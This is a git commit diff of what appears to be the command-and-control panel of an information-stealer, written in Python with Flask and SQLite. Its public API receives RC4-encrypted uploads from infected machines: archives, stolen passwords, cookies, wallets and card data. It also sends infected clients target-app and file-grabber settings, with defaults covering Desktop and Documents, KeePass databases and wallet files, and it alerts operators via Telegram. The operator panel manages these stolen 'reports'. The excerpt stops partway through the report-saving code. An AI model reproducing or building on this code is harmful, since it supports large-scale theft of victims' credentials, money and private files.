initial commit
This commit is contained in:
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Vendored
BIN
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1,17 @@
|
|||||||
|
[uwsgi]
|
||||||
|
http-socket = 0.0.0.0:5050
|
||||||
|
chdir = /root
|
||||||
|
callable = app
|
||||||
|
processes = 4
|
||||||
|
threads = 2
|
||||||
|
buffer-size = 10000000
|
||||||
|
protocol = https
|
||||||
|
enable-threads = true
|
||||||
|
pythonpath = /usr/local/lib/python3.8/site-packages
|
||||||
|
wsgi-file = main.py
|
||||||
|
vacuum = true
|
||||||
|
;logto = logs/access.log
|
||||||
|
;daemonize = logs/access-@(exec://date +%%Y-%%m-%%d).log
|
||||||
|
;log-reopen = true
|
||||||
|
logformat = %(ctime) | %(status) | %(addr) - %(method) %(uri) %(proto)
|
||||||
|
|
||||||
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1 @@
|
|||||||
|
# Coded by [email protected]
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1 @@
|
|||||||
|
# Coded by [email protected]
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,319 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
# Coded by [email protected]
|
||||||
|
|
||||||
|
# Import modules
|
||||||
|
from functools import wraps
|
||||||
|
from base64 import b64decode
|
||||||
|
from json import loads, dumps
|
||||||
|
from markupsafe import escape
|
||||||
|
from flask import \
|
||||||
|
request, jsonify, session, redirect, url_for, send_file
|
||||||
|
# Import packages
|
||||||
|
from core.models.reports import Report
|
||||||
|
from core.models.accounts import Account
|
||||||
|
from core.models.errors import ApiErrors
|
||||||
|
from core.modules.targets import SetTargetApps
|
||||||
|
from core.modules.telegram import SetTelegramCredentials
|
||||||
|
from core.modules.encryption import SetEncryptionKey, RC4Cipher
|
||||||
|
from core.modules.grabber import \
|
||||||
|
AddGrabberPath, DeleteGrabberPath, \
|
||||||
|
SetGrabberExtensions, SetGrabberMaxSize
|
||||||
|
|
||||||
|
""" Check if client session is exists and valid """
|
||||||
|
def is_client_authorized() -> bool:
|
||||||
|
# Check if session exists
|
||||||
|
if not session:
|
||||||
|
return False
|
||||||
|
# Create account object
|
||||||
|
account = Account(session["account"]["username"],
|
||||||
|
session["account"]["password"])
|
||||||
|
# Check if account exists and password
|
||||||
|
if not account.exists() or not account.login():
|
||||||
|
session.pop("account", None)
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
""" Login decorator """
|
||||||
|
def login_required(function):
|
||||||
|
@wraps(function)
|
||||||
|
def decorated_function(*args, **kwargs):
|
||||||
|
if not is_client_authorized():
|
||||||
|
return redirect(url_for("login"), code=302)
|
||||||
|
return function(*args, **kwargs)
|
||||||
|
return decorated_function
|
||||||
|
|
||||||
|
|
||||||
|
"""
|
||||||
|
Get report error/success message by id
|
||||||
|
Result: ErrorState, Message, Report object
|
||||||
|
"""
|
||||||
|
def get_report_state(id: int) -> tuple:
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return True, ApiErrors.client_not_authorized, None
|
||||||
|
# Get report by id
|
||||||
|
report = Report(identification=id)
|
||||||
|
# Check if exists
|
||||||
|
if not report.Exists():
|
||||||
|
return True, ApiErrors.Report.not_found.format(id), None
|
||||||
|
# Check username
|
||||||
|
if not report.IsReportOwner(session["account"]["username"]):
|
||||||
|
return True, ApiErrors.client_not_authorized, None
|
||||||
|
# Done
|
||||||
|
return False, "OK", report
|
||||||
|
|
||||||
|
""" API requests handler """
|
||||||
|
def private_api_handler(function):
|
||||||
|
# Get account credentials
|
||||||
|
username = escape(request.args.get("username"))
|
||||||
|
if username == "None": # If args is empty - try get from post data
|
||||||
|
username = escape(request.form.get("username"))
|
||||||
|
password = escape(request.args.get("password"))
|
||||||
|
if password == "None": # If args is empty - try get from post data
|
||||||
|
password = escape(request.form.get("password"))
|
||||||
|
|
||||||
|
# Create account object
|
||||||
|
account = Account(username, password)
|
||||||
|
|
||||||
|
# Account login function
|
||||||
|
if function == "login":
|
||||||
|
# Check if already logged in
|
||||||
|
if "account" in session:
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.Login.already_logged_in.format(session["account"]["username"])})
|
||||||
|
# Check if account exists
|
||||||
|
if not account.exists():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.Login.account_does_not_exist.format(username)})
|
||||||
|
# Check password
|
||||||
|
if not account.login():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.Login.wrong_password})
|
||||||
|
# Logged in
|
||||||
|
session["account"] = {"username": username, "password": password} # Set session
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Login.logged_in})
|
||||||
|
|
||||||
|
# Account logout
|
||||||
|
elif function == "logout":
|
||||||
|
# Session exists
|
||||||
|
if is_client_authorized():
|
||||||
|
# Close session
|
||||||
|
session.pop("account", None)
|
||||||
|
# Redirect to login page
|
||||||
|
return redirect(url_for("login"), code=302)
|
||||||
|
|
||||||
|
# Account register function
|
||||||
|
|
||||||
|
# Account unregister function
|
||||||
|
elif function == "unregister":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Unregister account
|
||||||
|
if Account(session["account"]["username"], '').unregister():
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Register.unregistered_ok})
|
||||||
|
|
||||||
|
# Change account password
|
||||||
|
elif function == "change_password":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Get new and old password
|
||||||
|
new_password = escape(request.form.get("new_password"))
|
||||||
|
old_password = escape(request.form.get("old_password"))
|
||||||
|
# Create account object from data
|
||||||
|
account = Account(session["account"]["username"], old_password)
|
||||||
|
# Check user is authorized
|
||||||
|
if account.login() is False:
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Change password
|
||||||
|
account.change_password(new_password)
|
||||||
|
# Delete session
|
||||||
|
session.pop("account", None)
|
||||||
|
# Done
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Register.change_password_ok})
|
||||||
|
|
||||||
|
# Change account encryption key
|
||||||
|
elif function == "change_encryption_key":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Get RC4 key
|
||||||
|
rc4_key = escape(request.form.get("rc4_key"))
|
||||||
|
SetEncryptionKey(session["account"]["username"], rc4_key)
|
||||||
|
# Done
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Register.change_password_ok})
|
||||||
|
|
||||||
|
|
||||||
|
# Get report
|
||||||
|
elif function == "get_report":
|
||||||
|
# Get report id
|
||||||
|
report_id = request.args.get("id")
|
||||||
|
# Get report
|
||||||
|
error, message, report = get_report_state(report_id)
|
||||||
|
# On error
|
||||||
|
if error: return jsonify({"error": True,
|
||||||
|
"message": message})
|
||||||
|
# Send report
|
||||||
|
filehandle, filename = report.GetArchive()
|
||||||
|
return send_file(
|
||||||
|
as_attachment=True,
|
||||||
|
path_or_file=filehandle,
|
||||||
|
attachment_filename=filename,
|
||||||
|
mimetype="application/zip"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Delete report from db and disk
|
||||||
|
elif function == "del_report":
|
||||||
|
# Check if authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Get report id
|
||||||
|
report_id = request.args.get("id")
|
||||||
|
# Get report
|
||||||
|
error, message, report = get_report_state(report_id)
|
||||||
|
# On error
|
||||||
|
if error: return jsonify({"error": True,
|
||||||
|
"message": message})
|
||||||
|
# Delete
|
||||||
|
report.DeleteReport()
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Report.deleted_ok.format(report_id)})
|
||||||
|
|
||||||
|
# Comment report in db
|
||||||
|
elif function == "com_report":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Get report id
|
||||||
|
report_id = request.args.get("id")
|
||||||
|
comment_t = escape(request.args.get("text"))
|
||||||
|
# Get report
|
||||||
|
error, message, report = get_report_state(report_id)
|
||||||
|
# On error
|
||||||
|
if error: return jsonify({"error": True,
|
||||||
|
"message": message})
|
||||||
|
# Comment
|
||||||
|
report.ChangeComment(comment_t)
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Report.comment_ok})
|
||||||
|
|
||||||
|
|
||||||
|
# Get reports list
|
||||||
|
elif function == "get_reports":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Get report id
|
||||||
|
report_id = request.args.get("id")
|
||||||
|
|
||||||
|
# Get all reports
|
||||||
|
if report_id is None:
|
||||||
|
found_reports = Report.GetReports(
|
||||||
|
session["account"]["username"],
|
||||||
|
geo_data_dict=True
|
||||||
|
)
|
||||||
|
# Get one report
|
||||||
|
else:
|
||||||
|
found_reports = Report.GetReports(
|
||||||
|
session["account"]["username"],
|
||||||
|
geo_data_dict=True,
|
||||||
|
identification=report_id
|
||||||
|
)
|
||||||
|
|
||||||
|
# Get reports data
|
||||||
|
reports = list(map(lambda report:
|
||||||
|
{
|
||||||
|
"id": report.id,
|
||||||
|
"geo": report.geo_data,
|
||||||
|
"time": report.add_time,
|
||||||
|
"counter": report.counter,
|
||||||
|
"cookies": report.cookies_list,
|
||||||
|
"passwords": report.passwords_list,
|
||||||
|
"information": report.information,
|
||||||
|
}, found_reports)
|
||||||
|
)
|
||||||
|
return jsonify(reports)
|
||||||
|
|
||||||
|
# Add grabber path
|
||||||
|
elif function == "new_grabber_path":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Create new
|
||||||
|
path_value = b64decode(request.args.get("b64_value")).decode("utf8")
|
||||||
|
AddGrabberPath(session["account"]["username"], path_value)
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Grabber.path_saved_ok})
|
||||||
|
|
||||||
|
# Delete grabber path
|
||||||
|
elif function == "del_grabber_path":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Delete
|
||||||
|
path_value = b64decode(request.args.get("b64_value")).decode("utf8")
|
||||||
|
DeleteGrabberPath(session["account"]["username"], path_value)
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Grabber.path_deleted_ok})
|
||||||
|
|
||||||
|
# Delete grabber path
|
||||||
|
elif function == "set_grabber_extensions":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Set new extensions and size
|
||||||
|
extensions = loads(request.args.get("json_list"))
|
||||||
|
max_size = int(request.args.get("size"))
|
||||||
|
SetGrabberMaxSize(session["account"]["username"], max_size)
|
||||||
|
SetGrabberExtensions(session["account"]["username"], extensions)
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Grabber.extensions_saved_ok})
|
||||||
|
|
||||||
|
# Change telegram bot token and chatids
|
||||||
|
elif function == "set_telegram_credentials":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Get params
|
||||||
|
token = request.args.get("token")
|
||||||
|
ids = loads(request.args.get("json_list"))
|
||||||
|
# Apply settings
|
||||||
|
SetTelegramCredentials(session["account"]["username"], token, ids)
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Register.change_telegram_ok})
|
||||||
|
|
||||||
|
# Change stealer configuration for user
|
||||||
|
elif function == "set_apps_collection_configuration":
|
||||||
|
# Check user is authorized
|
||||||
|
if not is_client_authorized():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.client_not_authorized})
|
||||||
|
# Get params
|
||||||
|
apps = loads(request.args.get("json_list"))
|
||||||
|
# Apply settings
|
||||||
|
SetTargetApps(session["account"]["username"], apps)
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Register.change_apps_ok})
|
||||||
|
|
||||||
|
# Method does not exists
|
||||||
|
else:
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.function_does_not_exist.format(function)})
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
# Coded by [email protected]
|
||||||
|
|
||||||
|
# Import modules
|
||||||
|
from markupsafe import escape
|
||||||
|
from flask import request, jsonify
|
||||||
|
# Import packages
|
||||||
|
from core.models.reports import Report
|
||||||
|
from core.models.accounts import Account
|
||||||
|
from core.models.errors import ApiErrors
|
||||||
|
from core.modules.telegram import NotifyUsers
|
||||||
|
from core.modules.targets import GetEnabledApps
|
||||||
|
from core.modules.grabber import GetGrabberRules
|
||||||
|
from core.modules.encryption import GetEncryptionKey, RC4Cipher
|
||||||
|
|
||||||
|
""" API requests handler """
|
||||||
|
def public_api_handler(function):
|
||||||
|
# Get account credentials
|
||||||
|
username = escape(request.args.get("username"))
|
||||||
|
account = Account(username, '')
|
||||||
|
|
||||||
|
# Check if account exists
|
||||||
|
if not account.exists():
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.Login.account_does_not_exist.format(username)})
|
||||||
|
# Init RC4 decryptor
|
||||||
|
cipher = RC4Cipher(GetEncryptionKey(username).encode("utf8"))
|
||||||
|
|
||||||
|
# Fetch encrypted user options for client
|
||||||
|
if function == "fetch_options":
|
||||||
|
# Get response data
|
||||||
|
apps = ",".join(GetEnabledApps(username))
|
||||||
|
_g_rules = GetGrabberRules(username)
|
||||||
|
grabber_extensions = ",".join(_g_rules["extensions"])
|
||||||
|
grabber_maxsize = str(_g_rules["max_size"])
|
||||||
|
grabber_paths = ",".join(_g_rules["paths"])
|
||||||
|
# Join response, encrypt and send to client
|
||||||
|
joined = "|".join([apps, grabber_extensions, grabber_paths, grabber_maxsize])
|
||||||
|
return cipher.Encrypt("SUCCESS:" + joined)
|
||||||
|
|
||||||
|
# Send new report
|
||||||
|
elif function == "send_report":
|
||||||
|
# Get report params
|
||||||
|
ip = request.remote_addr
|
||||||
|
data = cipher.CryptBytes(request.data) # Zip archive bytes
|
||||||
|
counter = cipher.Decrypt(escape(request.args.get("counter")))
|
||||||
|
cookies_list = cipher.Decrypt(escape(request.args.get("cookies")))
|
||||||
|
passwords_list = cipher.Decrypt(escape(request.args.get("passwords")))
|
||||||
|
information = cipher.Decrypt(escape(request.args.get("information")))
|
||||||
|
# Create report
|
||||||
|
new = Report(
|
||||||
|
archive=data,
|
||||||
|
counter=counter,
|
||||||
|
passwords_list=passwords_list,
|
||||||
|
cookies_list=cookies_list,
|
||||||
|
information=information,
|
||||||
|
)
|
||||||
|
# Save
|
||||||
|
new.SaveReport(ip, username)
|
||||||
|
# Telegram bot
|
||||||
|
NotifyUsers(new, username, ip)
|
||||||
|
# Response
|
||||||
|
return jsonify({"error": False,
|
||||||
|
"message": ApiErrors.Report.saved_ok})
|
||||||
|
|
||||||
|
# Method does not exists
|
||||||
|
else:
|
||||||
|
return jsonify({"error": True,
|
||||||
|
"message": ApiErrors.function_does_not_exist.format(function)})
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
# Coded by [email protected]
|
||||||
|
|
||||||
|
# Import modules
|
||||||
|
from os import path
|
||||||
|
from threading import Lock
|
||||||
|
from sqlite3 import connect
|
||||||
|
# Import packages
|
||||||
|
from core.paths import DATABASE_DIR
|
||||||
|
|
||||||
|
|
||||||
|
class DatabaseManager(object):
|
||||||
|
""" Database manager """
|
||||||
|
def __init__(self, db_file):
|
||||||
|
# Check if path exists
|
||||||
|
db_location = path.join(DATABASE_DIR, db_file)
|
||||||
|
assert path.exists(db_location), f"Failed connect to database {db_file}"
|
||||||
|
# Connect to database
|
||||||
|
self.connection = connect(
|
||||||
|
db_location,
|
||||||
|
check_same_thread=False
|
||||||
|
)
|
||||||
|
# Create lock and cursor
|
||||||
|
self.lock = Lock()
|
||||||
|
self.cursor = self.connection.cursor()
|
||||||
|
|
||||||
|
def execute(self, sql: str, values: list = [], commit_changes: bool = False) -> list:
|
||||||
|
""" Execute sql commands """
|
||||||
|
if commit_changes is True:
|
||||||
|
self.lock.acquire(commit_changes)
|
||||||
|
self.cursor.execute(sql, values)
|
||||||
|
self.connection.commit()
|
||||||
|
self.lock.release()
|
||||||
|
return []
|
||||||
|
else:
|
||||||
|
self.cursor.execute(sql, values)
|
||||||
|
return self.cursor.fetchall()
|
||||||
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
|||||||
|
# Coded by [email protected]
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,124 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
# Coded by [email protected]
|
||||||
|
|
||||||
|
# Import modules
|
||||||
|
from json import dumps
|
||||||
|
from secrets import token_urlsafe
|
||||||
|
from werkzeug.security import \
|
||||||
|
generate_password_hash, check_password_hash
|
||||||
|
# Import packages
|
||||||
|
from core.models.reports import Report
|
||||||
|
from core.manager.database import DatabaseManager
|
||||||
|
|
||||||
|
|
||||||
|
# Connect to clients database
|
||||||
|
clients_db = DatabaseManager("accounts.db")
|
||||||
|
|
||||||
|
""" Account controller """
|
||||||
|
class Account(object):
|
||||||
|
def __init__(self, username, password):
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
|
||||||
|
# Register new client on server
|
||||||
|
def register(self) -> bool:
|
||||||
|
# Failed register, user already exists
|
||||||
|
if self.exists() is True:
|
||||||
|
return False
|
||||||
|
# Generate password hash
|
||||||
|
password_hash = generate_password_hash(self.password)
|
||||||
|
# Insert new user to db
|
||||||
|
clients_db.execute(
|
||||||
|
sql="INSERT INTO accounts (username, password_hash) VALUES (?, ?)",
|
||||||
|
values=[self.username, password_hash],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
# Insert default grabber rules
|
||||||
|
clients_db.execute(
|
||||||
|
sql="INSERT INTO grabber (scan_paths, extensions, owner) VALUES (?, ?, ?)",
|
||||||
|
values=[
|
||||||
|
dumps(["%Desktop%", "%Documents%"]),
|
||||||
|
dumps(["txt", "kdb", "kdbx", "wallet", "rtf", "doc", "docx", "pdf"]),
|
||||||
|
self.username
|
||||||
|
],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
# Insert default telegram settings
|
||||||
|
clients_db.execute(
|
||||||
|
sql="INSERT INTO telegram (token, chatid, owner) VALUES (?, ?, ?)",
|
||||||
|
values=['', dumps([]), self.username],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
# Insert random RC4 encryption key
|
||||||
|
clients_db.execute(
|
||||||
|
sql="INSERT INTO encryption (key, owner) VALUES (?, ?)",
|
||||||
|
values=[token_urlsafe(16), self.username],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
# Insert empty target apps list
|
||||||
|
clients_db.execute(
|
||||||
|
sql="INSERT INTO targets (owner) VALUES (?)",
|
||||||
|
values=[self.username],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Delete client from server
|
||||||
|
def unregister(self) -> bool:
|
||||||
|
# Failed unregister, user not exists
|
||||||
|
if self.exists() is False:
|
||||||
|
return False
|
||||||
|
# Delete all reports
|
||||||
|
found_reports = Report.GetReports(
|
||||||
|
self.username,
|
||||||
|
geo_data_dict=False
|
||||||
|
)
|
||||||
|
for report in found_reports:
|
||||||
|
report.DeleteReport()
|
||||||
|
# Delete rows from database
|
||||||
|
for table in ["accounts", "grabber", "telegram", "encryption", "targets"]:
|
||||||
|
if table == "accounts": r = "username"
|
||||||
|
else: r = "owner"
|
||||||
|
clients_db.execute(
|
||||||
|
sql=f"DELETE FROM {table} WHERE {r} = ?",
|
||||||
|
values=[self.username],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Verify client password
|
||||||
|
def login(self) -> bool:
|
||||||
|
# Get values from db
|
||||||
|
response = clients_db.execute(
|
||||||
|
sql="SELECT password_hash FROM accounts WHERE username = ?",
|
||||||
|
values=[self.username],
|
||||||
|
commit_changes=False
|
||||||
|
)
|
||||||
|
password_hash = response[0][0]
|
||||||
|
# Verify password hash
|
||||||
|
return check_password_hash(password_hash, self.password)
|
||||||
|
|
||||||
|
# Client is exists
|
||||||
|
def exists(self) -> bool:
|
||||||
|
# Get values from db
|
||||||
|
response = clients_db.execute(
|
||||||
|
sql="SELECT id FROM accounts WHERE username = ?",
|
||||||
|
values=[self.username],
|
||||||
|
commit_changes=False
|
||||||
|
)
|
||||||
|
return len(response) != 0
|
||||||
|
|
||||||
|
# Change client password
|
||||||
|
def change_password(self, new_password: str):
|
||||||
|
password_hash = generate_password_hash(new_password)
|
||||||
|
clients_db.execute(
|
||||||
|
sql="UPDATE accounts SET password_hash = ? WHERE username = ?",
|
||||||
|
values=[password_hash, self.username],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
|
||||||
|
# Bool
|
||||||
|
def __bool__(self):
|
||||||
|
return self.exists() and self.login()
|
||||||
|
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
# Coded by [email protected]
|
||||||
|
|
||||||
|
""" Geolocation info """
|
||||||
|
class GeoData(object):
|
||||||
|
def __init__(self, geo_data: dict):
|
||||||
|
u = "Unknown"
|
||||||
|
self.ip_address = geo_data["ip_address"]
|
||||||
|
try: self.city = geo_data["city"]["names"]["en"]
|
||||||
|
except: self.city = u
|
||||||
|
try: self.country = geo_data["country"]["names"]["en"]
|
||||||
|
except: self.country = u
|
||||||
|
try: self.iso_code = geo_data["country"]["iso_code"]
|
||||||
|
except: self.iso_code = u
|
||||||
|
|
||||||
|
""" Get country statistics """
|
||||||
|
def GetCountryStatistics(reports: list) -> dict:
|
||||||
|
stats = {}
|
||||||
|
for report in reports:
|
||||||
|
if not report.geo_data.iso_code in stats:
|
||||||
|
stats[report.geo_data.iso_code] = []
|
||||||
|
stats[report.geo_data.iso_code].append(report.geo_data)
|
||||||
|
return stats
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
# Coded by [email protected]
|
||||||
|
|
||||||
|
class ApiErrors:
|
||||||
|
client_not_authorized = "Client not authorized!"
|
||||||
|
function_does_not_exist = "Method '{}' does not exist"
|
||||||
|
|
||||||
|
class Login:
|
||||||
|
account_does_not_exist = "Account '{}' does not exist"
|
||||||
|
wrong_password = "Invalid password to log into your account"
|
||||||
|
logged_in = "Successful login"
|
||||||
|
logged_out = "Logged out from account"
|
||||||
|
already_logged_out = "Already logged out"
|
||||||
|
already_logged_in = "Already logged in account '{}'"
|
||||||
|
|
||||||
|
class Register:
|
||||||
|
account_already_exist = "Account '{}' is already registered"
|
||||||
|
registered_ok = "Successful registration"
|
||||||
|
unregistered_ok = "Account deleted successfully"
|
||||||
|
invalid_credentials = "The username or password you entered is incorrect"
|
||||||
|
change_password_ok = "Password changed successfully"
|
||||||
|
change_telegram_ok = "Telegram bot token saved"
|
||||||
|
change_apps_ok = "Apps list saved"
|
||||||
|
|
||||||
|
class Report:
|
||||||
|
deleted_ok = "Report ID:{} deleted successfully"
|
||||||
|
saved_ok = "Report saved"
|
||||||
|
comment_ok = "Comment changed successfully"
|
||||||
|
not_found = "Report with ID:{} not exists"
|
||||||
|
|
||||||
|
class Grabber:
|
||||||
|
path_deleted_ok = "Path deleted successfully"
|
||||||
|
path_saved_ok = "Scanning path saved"
|
||||||
|
extensions_saved_ok = "Extensions saved"
|
||||||
|
|
||||||
|
class ReportsJsonErrors:
|
||||||
|
default_counter = {
|
||||||
|
"wallets": 0,
|
||||||
|
"passwords": 0,
|
||||||
|
"credit_cards": 0,
|
||||||
|
"autofill": 0,
|
||||||
|
"cookies": 0,
|
||||||
|
"history": 0,
|
||||||
|
"downloads": 0,
|
||||||
|
"grabber": 0,
|
||||||
|
}
|
||||||
|
default_information = {
|
||||||
|
"hardware": {
|
||||||
|
"screen": "0x0",
|
||||||
|
"ram": 0,
|
||||||
|
"cpu_name": "Unknown",
|
||||||
|
"cpu_id": "Unknown",
|
||||||
|
"gpu_name": "Unknown ",
|
||||||
|
"disk_id": "Unknown",
|
||||||
|
"manufacturer": "Unknown"
|
||||||
|
},
|
||||||
|
"network": {
|
||||||
|
"local_ip": "127.0.0.1",
|
||||||
|
"gateway_ip": "Unknown",
|
||||||
|
"bssid": "Unknown"
|
||||||
|
},
|
||||||
|
"power": {
|
||||||
|
"adapter_connected": False,
|
||||||
|
"battery_percentage": 255
|
||||||
|
},
|
||||||
|
"os": {
|
||||||
|
"name": "Unknown",
|
||||||
|
"admin": False,
|
||||||
|
"lang": "Unknown"
|
||||||
|
},
|
||||||
|
}
|
||||||
@@ -0,0 +1,189 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
# Import modules
|
||||||
|
from io import BytesIO
|
||||||
|
from hashlib import md5
|
||||||
|
from os import path, remove
|
||||||
|
from maxminddb import open_database
|
||||||
|
from json import loads as parse_json
|
||||||
|
from timeago import format as timeago
|
||||||
|
from time import time, strftime, localtime
|
||||||
|
# Import packages
|
||||||
|
from core.models.country import GeoData
|
||||||
|
from core.models.errors import ReportsJsonErrors
|
||||||
|
from core.manager.database import DatabaseManager
|
||||||
|
from core.paths import REPORTS_DIR, DATABASE_DIR
|
||||||
|
|
||||||
|
# Connect to reports database
|
||||||
|
reports_db = DatabaseManager("reports.db")
|
||||||
|
# Connect to maxmind geo-ip database
|
||||||
|
geo_ip = open_database(path.join(DATABASE_DIR,
|
||||||
|
"GeoLite2-City.mmdb"))
|
||||||
|
|
||||||
|
""" Reports controller """
|
||||||
|
class Report(object):
|
||||||
|
def __init__(self, identification: int = 0,
|
||||||
|
archive: str = "", geo_data: dict = {},
|
||||||
|
counter: dict = {}, information: dict = {}, passwords_list: str = "", cookies_list: str = "",
|
||||||
|
add_time: str = "", comment: str = ""):
|
||||||
|
self.id = identification
|
||||||
|
self.comment = comment
|
||||||
|
self.archive = archive
|
||||||
|
self.counter = counter
|
||||||
|
self.add_time = add_time
|
||||||
|
self.geo_data = geo_data
|
||||||
|
self.information = information
|
||||||
|
self.cookies_list = cookies_list
|
||||||
|
self.passwords_list = passwords_list
|
||||||
|
|
||||||
|
# Repr
|
||||||
|
def __repr__(self):
|
||||||
|
return f"Report(id={self.id})"
|
||||||
|
|
||||||
|
# Check if report exists
|
||||||
|
def Exists(self) -> bool:
|
||||||
|
response = reports_db.execute(
|
||||||
|
sql="SELECT id FROM reports WHERE id = ?",
|
||||||
|
values=[self.id],
|
||||||
|
commit_changes=False
|
||||||
|
)
|
||||||
|
return len(response) != 0
|
||||||
|
|
||||||
|
# Save report
|
||||||
|
def SaveReport(self, ip: str, owner: str):
|
||||||
|
# Get zip name and path
|
||||||
|
zip_name = md5(f"{owner}_{ip}_{len(self.passwords_list)}".encode()).hexdigest()
|
||||||
|
zip_path = path.join(REPORTS_DIR, zip_name)
|
||||||
|
# Write system info to database
|
||||||
|
reports_db.execute(
|
||||||
|
sql="INSERT INTO reports "
|
||||||
|
"(archive, ip_address, counter, information, passwords_list, cookies_list, time, owner) "
|
||||||
|
